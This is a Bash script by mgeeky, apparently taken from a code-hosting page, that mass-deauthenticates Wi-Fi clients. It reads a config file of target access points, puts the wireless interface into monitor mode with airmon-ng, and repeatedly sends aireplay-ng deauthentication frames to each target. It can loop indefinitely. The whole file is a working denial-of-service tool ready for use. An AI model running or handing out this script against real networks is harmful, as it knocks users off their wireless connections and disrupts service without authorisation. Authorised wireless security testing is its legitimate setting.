86 lines
2.1 KiB
Bash
Executable File
86 lines
2.1 KiB
Bash
Executable File
#!/bin/bash
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#
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# This is a massive WLAN deauthentication attacking script
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# that takes as input list of APs against which should deauth be launched,
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# and then attempts that attack.
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#
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# Mariusz Banach / mgeeky '18, <mb@binary-offensive.com>
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#
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if [ $# -ne 1 ]; then
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echo "Usage: ./massDeauth <configFile>"
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exit 1
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fi
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if [ $EUID -ne 0 ]; then
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echo "[!] This script must be launched as root."
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exit 1
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fi
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function deauthClients {
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echo -e "\tDeauthing clients in AP: $essid / $bssid, $ch"
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iface=$1
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essid=$2
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bssid=$3
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ch=$4
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deauths=$5
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airmon-ng stop ${iface}mon @> /dev/null
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sleep 2
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echo -e "\t[1] Starting monitor on channel $ch"
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airmon-ng start $iface $ch @> /dev/null
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sleep 3
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if [ -z "$(ls /sys/class/net | paste | grep ${iface}mon)" ]; then
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echo "[!] Could not start monitor interface! Will try again..."
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sleep 3
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return
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fi
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echo -e "\t[2] Deauthing $deauths number of times..."
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aireplay-ng --deauth $deauths -e $essid -a $bssid ${iface}mon
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}
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config=$(cat $1 | grep -vE '^#')
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retry=$(echo "$config" | grep retry | cut -d= -f2 | cut -d' ' -f2-)
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deauths=$(echo "$config" | grep 'deauths' | grep '=' | awk '{print $3}')
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iface=$(echo "$config" | grep iface | cut -d= -f2 | cut -d' ' -f2-)
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echo "Using interface: $iface"
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echo "Retry count: $retry"
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echo "Deauths to be sent: $deauths"
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if [ -n "$(ps -eF | grep -v grep | grep airodump)" ]; then
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echo "[!] Airodump-ng is running: will not stick to one channel."
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echo "[!] Please kill airodump-ng first, then proceed further."
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exit 1
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fi
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if [ $retry -eq 0 ]; then
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retry=99999999
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fi
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IFS=$'\n'
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for i in $(seq 0 $retry); do
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echo -e "\n[$i] Deauthing clients..."
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for line in $(echo "$config" | grep 'target' | cut -d= -f2 | cut -d' ' -f2-); do
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essid=$(echo "$line" | awk '{print $1}')
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bssid=$(echo "$line" | awk '{print $2}')
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ch=$(echo "$line" | awk '{print $3}')
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if [ -z $ch ]; then
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echo "[!] You must specify <channel> for ESSID: $essid"
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exit 1
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fi
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if [ -z $bssid ]; then
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echo "[!] You must specify <bssid> for ESSID: $essid"
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exit 1
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fi
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deauthClients $iface $essid $bssid $ch $deauths
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done
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done
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